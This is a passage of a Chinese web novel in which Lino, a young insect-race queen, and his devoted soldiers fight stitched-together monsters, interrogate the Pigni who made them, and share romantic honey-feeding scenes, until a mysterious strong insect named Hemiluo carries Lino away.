天空上，黑压压的乌云压迫紧张的气氛，四面八方追随虫母而来的虫族汇集成不小的虫群，翅膀嗡鸣，密密麻麻的复眼仅有对敌人的漠视和对虫母的炙热。 虫族全身都是武器，但大多数对自己自信的虫族还是拟态成大高个的英俊男性，用习惯的冷兵器斩杀怪物，期翼能够得到来自高位虫母哪怕半秒的注视。 战争呈现一面倒的趋势，在利诺擦拭斧头上的血迹时，一朵小花摆在他的面前。 利诺抬头，挺拔俊雅的拉斐尔笑容温和，褐色的竖瞳泛起温柔的波澜：“冕下，送给您，是我在路上看到的，颜色很贴近您尾翅的红晕。” 拉斐尔的情绪有许多是利诺看不懂的，而利诺也不强求自己必须看懂。 手下有自己的隐私是很正常的，利诺要当优秀宽和的首领。 “谢了。”利诺弯起眉眼，接过那朵普通的花，插在干净的斧头柄上，“我很喜欢。” 拉斐尔眼神更加柔和：“冕下在这里休息，很快就会结束。” 利诺点头，瞟了眼已经退到基地内的小灰矮人：“尽快，待会儿还有其他事情要处理。” “遵命。”拉斐尔用拳头轻敲胸口，随即进入绞肉机内，为了满足虫母的命令，更快结束这场单方面的屠杀。 衣鱼毛茸的尾须成了杀怪利器，但他的杀戮要更加干净利落，拉斐尔会选择怪物流血最少但同样致命的部位。 利诺一直以为拉斐尔只是知识渊博，却没想到他的战力同样不容小觑。 “大、大人！”一道满是讨好的声音从一个衣着华服的小矮人嘴里发出，他的额头和眼角皱纹深刻，一双三角眼快速眨动，“城外那些勇士都是您的手下吗？” 利诺站起来：“怎么？” 小矮人兴奋地要上前握住利诺的手，因为利诺甩动的斧头而畏惧后退：“感谢您的帮助，您拯救了我们这座幸存者基地，救下一千多皮格尼的性命！” 利诺听到重点：“皮格尼？” “对对对，我们是皮格尼族，是这片大陆的统治族群。敢问您的种族是？”这只皮格尼小心询问。 利诺又问：“现在是什么时间？” “……”皮格尼陷入迷茫，“不、不记得了，我们是皮格尼，是最聪明、最具备创造力的族群……” “皮皮皮皮格格格尼……”这只灰皮小矮人好似设定好的程序受到攻击，陷入混乱。 利诺迅速问别的：“你们这里发生了什么？” 皮格尼卡壳许久，恢复正常，语气内掩饰不住的贪婪：“你如果愿意加入我们的基地，我不仅会把你想知道的都告诉你，也会任你为基地的副掌事，地位仅次于我！” 讲真，利诺对与副首领相似的名称非常厌恶，他上辈子年纪轻轻就被大首领蒙骗到副首领的位置，实则依旧是需要卖命的工具人，最后还被坑死。 利诺冷笑，殷红的嘴唇往下撇：“你想和我做交易？” “这哪里算交易！我们可以各取所需，你保护基地，我把信息告诉你。”皮格尼不装了，满含算计。 “你瞧，你的那些手下杀怪物这么容易，保护我们的基地对你们来说不过是小事。” 皮格尼装模作样地干笑，上下打量眼前柔弱的青年：“如果抓住你用来威胁它们似乎要更省事……连信息都不用付出，会是收益最大的买卖！” 他的语音刚落，两只稍微强壮些的矮人拿着链条从两边扔过来。 利诺早有防备，他一斧头将链条砍断：“我见过不少厚脸皮的，你是其中脸皮最厚的。” “拉斐尔。” 利诺轻声呼唤，灵活的中级虫族跳跃到皮格尼的身边，双手掐住这只基地掌事的脖子。 皮格尼的整体身高不过一米二三，在拉斐尔手中宛若小型洋娃娃。 利诺不清楚这皮格尼是哪来的底气才会觉得他会被轻易威胁。 虫群杀光城池外的畸形怪物，站在腥臭腐朽的战场上等待虫母的下一条命令，冰冷的竖瞳在昏暗的天色中犹如食物链顶端的捕食者。 “对不起，我错了，你想要说什么我都告诉你！”嚣张的皮格尼被拉斐尔掐着脖子提起来，灰脸涨起奇怪的颜色。 拉斐尔缓缓收紧手，骨骼轻微错位让皮格尼再也说不出求饶的话，大大的眼睛挂满泪水，可怜极了。 “冕下，您打算如何处置这只冒犯您的东西？” 利诺的肚子在咕噜噜叫，饥饿促使他的脾气变得不耐烦：“留着他还有用，先关起来。” 两只虫族士兵上来，将皮格尼固定住。 皮格尼被吓没了胆子，乖乖任由虫族动作，不敢再反抗。 聚拢起来、时刻关注这边的其他活着的皮格尼也被一队虫族控制起来。 拉斐尔抽出随身携带的湿纸巾擦拭手指，确保沾染那皮格尼肮脏的气息不在后缓步朝利诺伸出手：“冕下，我带您去洁净之地。” 这里血气冲天，还有一群皮格尼因为心灵崩坏而更加恶臭的味道，拉斐尔觉得自己的嗅觉都快要被刺激得失灵了。 利诺拉住了拉斐尔的手：“去密闭的房间。” 感受到属于虫母温热的掌心，拉斐尔笑意加深：“好。” 临时外置屋从压缩袋内放出，几名士兵迅速将其固定搭建。 不用利诺吩咐，虫族们分成几批，分别负责看管皮格尼族、巡逻四周以及处理被吸引来的零散拼接怪物。 “张嘴。”利诺简单干脆。 拉斐尔闪过异样的神色，随即无比惊喜地打开口腔，把自己摆在可以让利诺触及到的高度。 利诺比拉斐尔要低很多，但此刻，他是主宰虫族一切的高位者 他做了清洁，便把手指探进拉斐尔的口腔，拨弄隐藏在内里的口囊。 在虫母气息的包围中，口囊内的蜜液快速分泌，手指在敏感的内壁刮下粘稠的液体，迫不及待放到自己口中。 粉嫩的舌尖几下舔吃干净菠萝味的蜜液，利诺重复几回，不满逐渐积累。 太慢了，这样吃根本不知道何年何月才可以吃饱。 拉斐尔呼吸燥热，声音低沉：“冕下，您可以直接吃。” 他邀请饥饿的虫母用最原始的使用方法，覆上柔软的唇，将舌伸进口腔内壁的口囊里，大力吸吮里面不断分泌的食物。 这是在满足利诺，也是在满足拉斐尔的贪欲。 虫族很少有情绪波动，但当他们面对虫母时，无尽的爱恋与贪欲犹如地上的野草不断疯长，火烧不尽、根砍不断，也许只有得到虫母的一点点垂怜，这种欲望才可以稍稍缓解。 利诺没有注意到拉斐尔越烧越旺的视线，他犹豫着是否要亲上去。 他饿了，吃饭是在昨天晚上，而现在已经是第二天的傍晚时分。 拉斐尔低微地仰头，用压抑到泛白的指尖放在利诺的后脖颈上，往下压：“冕下，不用顾虑什么，你可以吃掉我，把我吃的干干净净。” 由于利诺的手指在拉斐尔的口腔，拉斐尔说话有些含糊：“相信我，冕下……妈妈……我会把你喂得很饱……” 温柔的虫族轻皱眉，俊朗的五官因为和虫母的亲近而微微扭曲，神态更加贴近虫族的野蛮和侵略性。 利诺的脑子乱成一团浆糊，他摩挲拉斐尔的嘴角，声音颤抖：“我命令你，闭上眼。” 被他掌控的虫族扬起唇角，闭上双眼。 拉斐尔没有等很长的时间，就感受到虫母软弹的唇贴上来，带着小心翼翼的腼腆气息探入。 年长的虫族为了虫母特地学了一些纸上经验，现在刚好用上，他生疏但温和地缠绕小虫母的舌尖，将它带领到鼓胀的口囊内。 稍微挤压，酸甜的蜜液流淌至虫母的舌尖，双方的呼吸缠绕。 食物的诱惑让利诺很快反客为主，撇下拉斐尔的舌，舌顶着分泌蜜液的口囊，将食物全部吞吃进肚子里。 虫族可以屏息很长时间，这就意味着利诺即使不会换气，也拥有足够的时间吃饱。 利诺拽着拉斐尔的头发，将口囊内的蜜液全部吃下。 但由于蜜液分泌腺的位置特殊，利诺不可能全部吃掉，还有一小部分不小心流到拉斐尔的口腔内，利诺不得不和拉斐尔抢食。 拉斐尔吃不了这种东西，然而他享受的是和利诺唇舌交融的甜，吃的是属于虫母的甜蜜。 “妈妈好能吃啊，一点都没剩！”利诺在睡觉前，恍惚听到拉斐尔这样说。 利诺理直气也壮，他可是每天都会高强度训练的，吃的多很正常！ 吃饱后的虫母会陷入困倦，他来不及狡辩，沉沉睡去，没看到衣鱼将毛绒尾须圈绕住他，似是回味地漾起笑。 利诺很会自洽，他第二天醒来又是一只优秀的虫族首领。 在他看来，亲就亲了，没什么大不了的，只是为了吃饭。他上一世看的电影还有主演相互不认识却能演出爱意缠绵的吻戏。 利诺拍拍拉斐尔的肩膀，严肃道：“这两天委屈你要多跟我亲嘴了，你放心，我不会把这事说出去的。” 他想，就虫族这种教育，没准儿拉斐尔都不知道亲吻是什么。 拉斐尔慢慢收敛笑容：“？” 他委屈什么？他巴不得让整个虫族都知道这件事！ 察觉拉斐尔哀怨的视线，利诺只以为拉斐尔很介意和他亲这件事，他从放置屋走出去，四处乱晃。 既然拉斐尔不愿意，那……不如找一个其他的虫族士兵？ “冕下，我有事要告诉您。”一只虫族士兵走过来，他胸口的军服花纹表明他的军衔不算低，是上尉。 “说吧。”利诺冲这只寸头虫族乖巧地笑。 火瞬间燃上这只中级虫族的俊脸：“……回冕下，我在值守期间发现怪物基本都来自一个方向。” 利诺点头，这他早有预料，怪物能够有组织的攻城，背后肯定有一个智力高的怪物控制，就像藏在丧尸群内组织丧尸攻城的丧尸王：“你的消息很有意义，好好干哦！” “我、我会的！能够为冕下您效力是我此生最幸运的事！”虫族上尉的脸色更加通红。 利诺看上尉的眼神更加充满赞许，肯努力的忠诚手下必定有前途：“你叫什么？翅膀的蜜液分泌腺有做切割手术吗？” “没有，我……”上尉说到一半，被拉斐尔打断。 拉斐尔将一件外套盖在身上：“冕下，天气冷，您多加一件衣服。”他看向上尉，温和道，“你率一个小队去怪物出现的方向探查一下，前提是要确保自己的安全！” “好的，拉斐尔阁下！” 拉斐尔三言两语把年轻的虫族上尉忽悠走。 利诺不死心，准备再找食物供应方。 拉斐尔拦住利诺：“冕下，我记起来皮格尼在一些古籍上有过记载。” 利诺立刻把蜜液的事抛到脑后：“你把记得的都说一下。” “皮格尼是迷雾降临前的一个星际种族，皮肤呈现灰色，身高在一米三以下，擅长制造各种武器，曾和蓝星的原种族有较为稳定的贸易关系。” 拉斐尔扯动嘴角：“蓝星原种族对皮格尼的评价是狡诈贪婪，在对方过分贪心时，可以靠武力让其收敛。” 皮格尼掌事被粗暴地关进笼子里，拖拽出来时战战兢兢，不敢再有半分坏心思。 他不等利诺问就立马道：“你想知道什么？我都会说，只要你别杀我！” “还敢和我讲条件？”利诺挥挥手，虫族士兵立刻收敛力气使出一拳，尽量不打死皮格尼掌事。 掌事被打了个半死，吐出口老血：“我没有讲条件，我就是想用我的生命与您需要的信息进行交易！” 利诺冷冷：“继续打！只要保证不打死他！” 掌事哀嚎：“不不不，我错了！你想知道什么我都告诉你！” 利诺满意：“那些怪物怎么来的？” “是我们制造的。我们为了得到更强大的力量，亲手制造出毁灭我们的怪物！”皮格尼懊悔地喃喃。 第26章 “是我们犯下的罪孽，是我们……”狡诈的皮格尼陷入到极端的低落内，没有眼皮的圆眼睛蓄满泪水，大颗大颗往下掉。 利诺就烦这种说话说到一半的，他抬脚踹了下皮格尼：“说清楚点。” 他对非本族的怪物通常耐心不高，毕竟他杀丧尸和异兽杀习惯了。 拉斐尔眼皮微跳，再看向皮格尼的时候眼神更加恐怖，这怪物何德何能，居然能得到冕下的一脚！ “冕下，您不要奖励他！”拉斐尔提拉眼镜，义正言辞，“我帮您。” 利诺莫名其妙，但有人出力，他也不会不接受。 只见拉斐尔微微一笑，毛绒的尾须化作利刃，抵在皮格尼的短胖脖子上，皮肤碎裂，一丝灰白液体从里面渗出，这是这个种族血液的颜色。 皮格尼掌事为他的种族命运感到悲哀，但归根于自私自利的本性，他更珍惜他的生命。 疼痛将他从不多的种族延续的责任中惊醒，掌事脖子僵硬，生怕拉斐尔的尾须往前一步，到那时，他就不是简单地破个皮，而是会掉脑袋。 掌事如竹筒倒豆子，把他能想起的东西都说出来：“我们的体型不如其他星球种族，能够占优势的不过是我们锻炼武器的天分。可天分再盛，我们也只是个商人，而不是霸主。” 他回忆道：“这时，有个皮格尼提出了天才的想法，改变我们劣势的外表，与各类强大生物相互融合，再加上我们先进的武器，到那时，全宇宙的财富和权力就都是我们的！” “但是失败了……全都失败了……向外的求救讯息发不出去，交好的种族没有来……再然后，就是黑……太黑了！黑在吞噬！它要吃掉所有！吃掉时间！吃掉宇宙！吃掉石头！” 皮格尼捂住了头，那乍然出现的疼痛让他忘记脖子边的尾须，发出惨叫。 头骨变形，鼓胀，然后像吹气太多的气球，猛地炸开。 被控制起来的其他皮格尼也在虫族士兵的看管下一只接着一只的爆炸。 不知情的路人听到这声音，还以为是在庆祝什么隆重的节日，堪称地狱。 利诺都惊了，还是拉斐尔反应快，迅速抱着利诺往外跳，才避免被溅上一身灰血。 “这……”半晌，利诺咂咂嘴，“我们没问什么要命的问题吧？他们一个个都给气炸了……” 拉斐尔摇头，他关过很多迷雾之门，但是第一次进入这种怪物有智慧、可以交流的门内小世界，只能猜测：“或许是说了门不允许说的事情。” 利诺倚在拉斐尔的怀里，支着下巴深思：“该说不说，这次的迷雾之门内的怪物又是这种可以沟通的。” 他问：“会不会我们之前关闭的所有门内的怪物其实都是迷雾降临前在宇宙存在的种族？” “冕下，我不知道。这种类型的门，在档案里只有两个例子，这是第三例。”拉斐尔轻声回道。 他综合记下的全部迷雾之门档案，最终叹道：“希望不是迷雾之门在进化吧……” 拉斐尔并不希望他们虫族在不断变强的同时，迷雾之门也在不断进化，从一开始单纯的杀戮变成如今需要探索、和怪物打交道的样子。 虽说后者依旧可以使用简单的暴力征服，但出现在英玛星的那扇门，如若不是利诺冕下坚持偷袭、最后又从密室内的眼珠怪物那问到钥匙的藏匿地点，以后来那些数量的怪物和个别强悍的怪物，怕是会只有很少一部分虫族出来。 就像元帅那次进入的迷雾之门，一个军队进入，关门后活下来的寥寥无几，连尸体都带不出来。 碍于虫族繁衍的缺陷，以科技手段培育的虫蛋从破壳到成为合格的士兵，需要耗费的时间很长很繁琐。 拉斐尔将利诺抱得更紧。 “咳！腰疼！”利诺挣扎，“把我放下来。” “失礼了，冕下。”拉斐尔放松臂膀，将小蝴蝶在他怀里蹭乱的头发细心揉顺。 但翘起来的发尾刚被衣鱼揉到服帖，利诺揉揉头，柔软顺滑的发丝立马又炸起来。 小虫母的头发就像他本虫，平时一副乖巧安分的模样，实则却潜藏着一只自由洒脱又热爱冒险与刺激的蝴蝶。 拉斐尔又叹了一口气，他这两天叹气的次数快要比以往所有时间加起来的还要多了。 无奈，他亲爱的小虫母死活不开窍，就连接吻，还一副“委屈你了好下属”的模样。 “为什么叹气？”利诺拍拍衣摆，抬起头来看着惆怅的拉斐尔。 这让利诺神情警觉：“附近有危险？” “没有，什么都没有，冕下。”拉斐尔伸手，又放下。 利诺的脸颊白皙软糯，但是他是不可以随便捏的，会让冕下生气。 虫母还小，他才刚成年，甚至正式成熟还没有过几天。虫族的寿命够长，拉斐尔不信利诺以后孕育了子嗣还会觉得他们只是他优秀忠诚的下属。 利诺不知道拉斐尔有着多么惊世骇俗的想法，他已然开始忙别的事情，他挥手喊来一只军衔为中尉的虫族：“你带上一队士兵，把这个基地搜上几遍，找有没有钥匙。” 联想到上次被埋在土里的钥匙，利诺又补充：“把地也翻一遍。” “遵命，冕下！”能够被虫母命令的虫族血液沸腾，他留恋地离开，斗志满满，势必要完美完成冕下的命令！ 利诺不觉得能够这么轻易地找到钥匙，然而哪怕是一丝的可能性都要去实践证明。 【冕下，已按照您的要求将基地搜查完毕，并未找到钥匙。】安瑟姆通过意识海与利诺沟通。 腕表在迷雾世界就是一块记录时间的手表，而利诺与所有虫族链接的意识是能够将所有虫族连络起来的最大利器。 利诺：【那往外扩展，有基地就将基地控制搜寻，有怪物杀怪物。】 【遵命。】安瑟姆停顿了片刻，迟疑地问，【冕下，您昨晚进食了吗？】 利诺感觉耳朵热热的，他低低嗯了声：【当然，你放心，我不会饿到自己的。】 他暂时中断链接，在意识海内确认进去门内虫族的状况，然后瞥了眼树上的白果，毫不留恋地睁开眼。 利诺很苦恼，那些果子在他破茧后失去了沟通的能力，但见到他就会一直散发对优秀虫族基因的渴求。 因此，他这些天都是尽量避着树和果子走，要多狼狈就有多狼狈！ 另一个基地谨遵虫母的意志，以其为中心，迅速向外扩展，而利诺所在的这个基地在搜寻无果后，同样迅速向外扩展。 第二天的晚上，一只虫族带着绘制的地图敲响了外置屋的门。 利诺正在拉斐尔的口囊内搜刮填饱肚子的蜜液，在听到动静后，小口舔舐了下虫族的唇，将那点金黄的液体顺着舌尖吞入腹中。 高大的虫族完全任由利诺的主导，只会在个别时候行使长辈指导的义务。 “冕下，还有一半，不继续吃了吗？”拉斐尔意犹未尽，在利诺没有意识到两人距离的亲密时，轻啄微红肿的唇。 利诺被亲得发懵，也因为进食而放松警惕，他拒绝热情的雄虫：“不行，有虫在外面敲门，肯定是有重要的事情。” “冕下……”拉斐尔是以拥抱利诺的姿势，让利诺进食，声音略带沙哑，“吃完再说？” 他咬了下口腔内壁的囊，甜蜜的、可以让虫母的食欲得到满足的液体填充虫族特殊的口囊。 利诺有一瞬间的意动，但是责任感让他从这种沉迷挣脱出来，吃蜜后造成的短暂失神逝去。 “你不对劲！”利诺伸出一根食指，抵在拉斐尔的胸肌上，眯起眼审视拉斐尔这张俊雅的面孔，以及被他吸吮而红肿的嘴唇。 拉斐尔带着期待：“有什么不对劲的？我只是想喂饱妈妈……” “不要叫我妈妈！”利诺羞耻地低喝，从拉斐尔身上跳下来，“拉斐尔，你再也不是一名称职的虫族士兵了！” “那我成了什么，冕下，您可以告诉我吗？”拉斐尔追着问。 利诺哼道：“拉斐尔，你居然敢引诱我堕落！是不是想让我变成沉迷进食的虫母？你好通过食物掌控我、把我变成傀儡、进而掌权？” 一向胸有成竹的拉斐尔难得彻底迷茫和疑惑。 利诺往后倒退，与拉斐尔拉开一段距离：“做梦吧，奸妄！” 不等拉斐尔解释，利诺打开门：“有什么事？” “冕下，这是附近的地图。”士兵恭敬道，“我在绘制地图的时候遇到同样绘制地图的安瑟姆阁下。” “冕下！”士兵刚汇报完，安瑟姆领着一队虫族降落地面，接着往前大跨步，“冕下，我很想念您！” 最得虫母信任的护卫将自己的思念完全抒发，毫无波动甚至显得空洞的竖瞳攒动星点的光。 利诺意识到，不过两三天没见的安瑟姆似乎快要哭了。 他猛地一个冲刺，扎到安瑟姆宽厚的胸口，先是蹭蹭极具安全感的肌肉：“安瑟姆，我也想你。” 然后他指着刚从门口出来的拉斐尔，向护卫长恨恨地控诉：“安瑟姆，拉斐尔想当乱臣贼子！” 虫母饱含情感的声音传到此基地内所有虫族的耳朵内。 不光安瑟姆和其他的护卫，就连名义上是拉斐尔下属的士兵，都带着浓厚的杀意，拔出刀剑。 只要虫母一声令下，他们会为虫母将惹虫母不开心的虫族杀掉，即使拉斐尔在蓝星最高军部的军衔不低。 拉斐尔又觉得小虫母生气起来可爱死了，又感到头疼：“这是个误会。” 安瑟姆将利诺抱起来：“冕下，拉斐尔做了什么？” 利诺的嘴巴被亲得更加红润，他把来龙去脉说了一遍，然后强调：“我可不是那种为了吃就不顾大事的虫！” 拉斐尔察觉到落在自己身上的目光从杀意变成了羡慕和嫉妒以及理解，这些虫族士兵很理解拉斐尔的做法，试问如果是他们喂食冕下却被打断，他们肯定也会像拉斐尔这么做。 安瑟姆用指腹擦干净利诺的嘴角，同样理解拉斐尔：“拉斐尔只是想让您吃饱，没有坏心思。冕下打算如何处理他？” 利诺后知后觉，他可能错怪了拉斐尔，但是上辈子那个首领老是暗搓搓抢他权限，而他的疏忽懵懂导致他最后彻底沦为首领的一个工具。 重来一世，这些经历导致他在遇到类似的事情难免反应过度。 但是也不一定是错怪，利诺怀疑地扫视拉斐尔：“念在总参谋是初犯而且初衷并非恶意，罚你守一晚上的夜！” 如果拉斐尔没坏心思，虫族一晚上不睡觉根本不算什么，但若是有坏心思，这个惩罚也是在震慑他。 说到底，拉斐尔还没有彻底赢得利诺的全部信任，尤其是他和伊戈提安等虫擅自把虫兽带走这件事更是让虫母对他们竖起高墙。 拉斐尔也想到了这一点，他俯身道：“感谢冕下的宽恕。” 房间内，利诺将地图与安瑟姆带来的地图拼合在一起，指在上面的空白：“钥匙只能在这里。” 安瑟姆回答：“这是皮格尼制造的拼接怪大量聚集的地点，我去过这里，拼接怪的数量保守有三四千万只。” 利诺震惊地睁大双眼：“这么多？” 要了命了，他们分布在四个星系的所有虫族数量也不过两千多万，这还是培育所和养育院扩充多次、虫族投入大量资源后才达到的效果。 皮格尼太过分了，搞出这么多怪物又控制不了，他们不亡族就奇了怪了！ 安瑟姆点头：“所以冕下，为了确保您的安全，强攻的方法必须首先排除。” “先等那队去探索的虫族回来。” 利诺更加珍惜每一只虫族的存在，他特地通过意识海告知那只虫族上尉，让这些执行任务的虫族必须把生命安全放在首位。 死掉任何一只虫族，对利诺来说都如同放血挖肉般疼痛。 “冕下，其实虫族如果为您而死，对我们而言也是荣誉。”安瑟姆拉住利诺的手，“您不必过分担忧，毕竟每一场对迷雾的驱散，都很少会零伤亡。” 他的冕下对虫群太仁慈，可安瑟姆并不想他效忠的小蝴蝶会因为虫群的死亡而产生悲伤的情绪。 小蝴蝶应当是被小心呵护，应该开心无忧地飞翔在广阔的空间内，远离任何负面情绪。 “我知道的，安瑟姆，我见过的死亡可能比你还要多。”利诺欣慰地拍拍他体贴的属下，“正因为见过太多的死亡，我才不希望见到不必要的死亡。” 银灰色的眸子色彩璀璨，盛着一个从宇宙中诞生的灵魂，它会是最绚烂的、最耀目的。 第27章 “冕下……”安瑟姆的眸光在灯光下闪烁。 每当安瑟姆已经觉得利诺是最可爱最漂亮的小蝴蝶时，利诺都会再次给安瑟姆一个大大的惊喜。 他效忠的利诺冕下有着任何生物都无可比拟的美丽。 “冕下，安瑟姆很荣幸可以成为您的护卫。”安瑟姆克制着，将自己的翅膀放在小虫母面前。 对虫母的濡慕，让他极度渴望将身心全部奉献给利诺，将灵魂送给利诺，把血肉送给利诺，只要利诺可以吃饱。 利诺弹了下安瑟姆的翅膀：“我知道我很厉害，你不用一直痴痴看着我。” 安瑟姆低腰，让利诺能够吃得更舒服：“冕下的周身闪烁着不容忽视的光彩，我移不开眼睛。” 利诺被说得脸热，但骄矜地抬起下巴，一口咬在虫族的翅膀尖尖上，含糊道：“没办法啦，我就是这么好的虫……勉强让你多看看……” 拉斐尔站在装置屋外，晦涩的眼眸时不时看向那扇阻断他视线的门，他身形挺拔，但散发的低气压令其他巡逻和站岗的虫族都不敢接近。 良久，他才移开视线，耳朵微动，全然冰冷的竖瞳看向右前方。 不止他，就连所有值岗的虫族也听到了从远方而来的动静，似乎有无数只怪物在奔跑、怒吼，裹挟浓烈的血腥与杀气。 拉斐尔高声：“做好准备。” 在拼接怪沉寂两天后，又有大批怪物被某种存在驱赶前进，去杀死异界而来的不速之客。 利诺吃饭又吃到一半，肚子没填饱，带着浓重的怨气走出来，数千只怪物已经和虫族缠斗在一起。 这次的怪物数量不仅比上次的多，整体的实力似乎也上了一个台阶，但虫族的强悍的战斗力让这场战争再次呈现一边倒的趋势。 利诺站在高墙上，俯视下方，观察每一只畸形拼接的怪物，它们有的是属于蓝星的原物种，也有来自其他星球的各类生物，千奇百怪，并基本都在意料不到的地方拼接属于皮格尼族的肢体部位。 那只有操纵能力的怪物这次也没有出现，利诺收回目光，对安瑟姆和其他虫族护卫吩咐：“你们也去，注意安全，然后快些处理干净这些怪物。” “遵命！”高级虫族单膝下跪，随即跃下，在战场上瞬间造成一个巨大的坑洞，三四十头怪物瞬间化作肉泥。 高级虫族和部分中级虫族是虫群的战力天花板，他们的数量虽然不多，但每只单拎出来都是顶级的生物兵器。 被当做护卫培养的安瑟姆，以及更偏向文职的拉斐尔，都是如此。 腥臭味逐渐浓郁，这对嗅觉敏锐的虫族是一种折磨，然而大多数虫族士兵都习惯在铺天盖地的尸体中战斗，只有利诺这个真正意义上的小菜虫还没有习惯。 安瑟姆在离开前考虑到了一切，不仅设置了非虫族不能够进入的警戒装置，还细心地将一块手帕交给利诺用来捂鼻子。 精通战斗和家务的健壮虫族甚至在手帕上绣了只翩然展翅的小蝴蝶，栩栩如生。 利诺想象不到五大三粗、拟态身高直逼两米的安瑟姆是怎么捏着一根绣花针，在手帕上刺绣。 利诺注视下方的战场，思忖着等安瑟姆回来，就让他当着自己的面再绣面帕子！ 稍微走个神，冰冷的触感缠绕在腰部，锋利尖锐的尾钩尖刺抵在利诺的心口，怪异的、沙哑的声音从身后传到利诺的耳朵里：“别动，跟我走。” 一条极度丑陋的虫族尾钩，把虫母缠住，用危险的姿势将利诺暂时控制。 安瑟姆放置的警戒器没被触动，这意味着威胁利诺的是虫族。 利诺陷入沉思，所以……这虫是怎么回事，居然敢威胁他，不怕他直接通过意识海的链接把他捏死吗？ 真是不听话的虫子，得好好惩罚。 利诺垂眸看向那条银白的尾钩，没有惊动安瑟姆他们，而是冷声：“你想造反？” 他在意识海内搜寻这只虫族的精神点……利诺愣住了，因为他没有找到。 利诺没经历过这种情况，要知道他作为虫母，对一切虫族都有至高的掌控圈，所有虫族的精神点都会在他的意识海内形成一枚星点。 他不信邪地找了好几遍，依旧没有，利诺的意识海没出问题，那就是身后这只虫族没有意识海。 没有意识海的虫族是怎么活下来的？ 利诺燃起探究的欲望，他根本不怕那根仿佛下一刻就要捅进他心脏的尾钩。 白嫩的手握住尾钩，之前还是武器的尾钩听话地收起全部的尖锐，唯恐对小蝴蝶造成一丝伤害。 利诺握住安分的尾钩，转身看到这只无名虫族，他仰头，映入眼帘的不是虫族陌生冷峻的脸，而是…… “好大的胸肌啊！”利诺小小咽了下口水，“你怎么练出来的，能不能教教我？” 利诺很馋，这也太男人了吧！ “你做了什么？”陌生虫族狠狠皱眉，低喝利诺。 虫族不知道恐怖的尾钩有一天会成为别的虫族手中的玩具，他感到愤怒。 然而愤怒之外，虫族也感受到从尾钩的神经传递的欣喜快乐。 “没做什么。”利诺玩安瑟姆的尾钩玩的很熟练，此时挑弄乖巧的雄虫尾钩，大拇指的指腹在尖端使劲蹭了下。 那虫族立马从唇齿间溢出压抑的低吟，他看利诺的眼神更复杂了。 他操纵尾钩把利诺捞到怀里，一只手钳制住利诺的双手，不让他再随便动尾钩，另一只手则捂住利诺的嘴，防止他呼救。 猝不及防转进紧绷肌肉的利诺：喵喵喵？ 浓郁的雄性气息缠绕利诺，利诺应该会排斥这种带着侵略信息的味道，然而，他意识海的树晃动，白果们兴奋摇摆。 以往安瑟姆、希尔维乌斯这些虫族都没让这些果子有这种激烈的反抗，利诺埋在虫族壮硕的胸肌中。 只能说明，这只大胸肌虫族比起他曾经接触过的高级虫族都要强大，以至于那些渴求优质基因的白果开始异动。 利诺闭上眼，不反抗，只是在意识海对安瑟姆说道：【安瑟姆，我去收一只强大虫族当属下，用不了太长时间，你先代替我管理虫群哦！】 他斗志满满，势必要拿下这只无比强大的虫族！ 等他把这虫族收编进虫群，那么等遇到其他不服管理的高级虫族，利诺自己不用出手，这只虫族就可以替他解决。 已上了虫母属下名单的陌生虫族并不知情，他与其说是挟持利诺，更像是亲密的拥抱。 他深深望了眼乖巧安静的青年，张开一双银白虫翅，气体爆鸣，遁入空中。 解决完所有怪物的安瑟姆冷不丁收到利诺的消息，急急跑回利诺之前在的高墙上，已经看不到利诺的身影了。 他回忆传讯中冕下找到猎物般兴奋的语气，捏捏鼻梁，眉宇间染上愁态。 不喜欢在虫族论坛发言的护卫长很想发一个求助贴：我守护的冕下独自撇下我跟着一个不知名的虫族跑了，怎么办？在线等，急！ 另一边，利诺被捂着嘴，想说话也说不了，他尽力才从这虫族胸里挣脱，白净的小脸湿红一片，分外可口。 利诺：“唔唔！” 正在飞行的虫族看了他一眼，不再捂嘴，手指动了动，最终还是顺应本心，为利诺擦掉了脸上冒出来的汗珠。 满是茧子的指腹粗糙，而利诺的面皮太嫩，虫族已经很努力地控制力道了，但瓷白的肌肤就如瓷般脆弱，一抹红痕刺眼无比。 自责不受控制地攀升，虫族收回手，就连抱着利诺的力道都小了点。 他怕把这只虫族的腰折断。 利诺已经不见外地尝试唠嗑：“我叫利诺，你叫什么？” “我在绑架你，威胁你的军队。”这只虫族移开目光，不再看利诺，冷静阐述自己的行为。 利诺点头：“嗯嗯，我知道呢，没关系。你叫什么？” “……赫弥珞。” 银发的高级虫族将唯一记得的名字告诉给怀里与众不同的青年。 “哦哦小赫啊～”利诺效仿着幸存基地那老不死的首领的语气，刚起了个头，赫弥珞落在地面上。 利诺只能遗憾作罢，打量赫弥珞把他带到的环境，不看还好，一看，他倒抽凉气。 全是拼接怪物，密密麻麻挤在一起，但那些怪物不像皮格尼基地那的狂暴，而是低着头站着，似乎在沉睡。 利诺放轻了呼吸，赫弥珞泰然自若，走在怪物们留下的小路上，直到尽头的建筑物。 泛着银光的建筑外壳有个牌子，尽管因为无人打理而字迹模糊，利诺还是能够辨认出那几个通用语文字：皮格尼索恩科研所。 利诺问：“这里是皮格尼族进行生物拼接实验的地点？”那赫弥珞带他来的不就是地图中最后的空白内。 赫弥珞：“不知道。”他走近科研所内，里面的怪物都被他驱逐出去，现在科研所是他的领地。 他眨着眼看赫弥珞，能一只虫进入这几千万拼接怪的虫族……不行，赫弥珞必须得成他的虫，不然利诺晚上做梦都得惊醒，然后惋惜地捶打胸口。 感受到利诺泛着热意的视线，赫弥珞看似没什么异样，实则高衣领遮盖的脖子有了些红意。 “等等！”利诺搭在赫弥珞的手上，指着一扇们，“打开这里。” 赫弥珞依言打开，囚禁在类似透明罩内的几只虫族让利诺收起激动的心情。 那几只虫族正是他排出去探索怪物来源地的上尉等虫族，此时紧闭眼睛，躺在地板上。 利诺有一瞬间要杀掉赫弥珞的危险想法，但在确认这些虫族的星点依旧亮着、应该只是被打昏后，他又眨眨眼，杀意收放自如，对赫弥珞笑得很甜：“你要带我去哪里？” 他扯着赫弥珞的手臂：“走，咱们继续。” 赫弥珞被甜到心坎上，喉结滚动，突兀道：“我没杀他们。” “幸好你没这么做。”利诺把着同样甜甜的语调，“虫族不杀虫族。” 赫弥珞冷声：“我和你们不是一个种族。” 利诺惊讶：“怎么会不是？” 赫弥珞关上囚禁虫族的门，把利诺带到他平时会呆坐的房间，回答：“我和外面的才是一个种族。” 他的语气太过坚定，把利诺都给哄住了。 赫弥珞则撇过头，他无法长期注视利诺，因为一旦看到他的眉眼、他灿烂的眼眸和笑容，不知名的情感就会濒临失控。 太奇怪了。 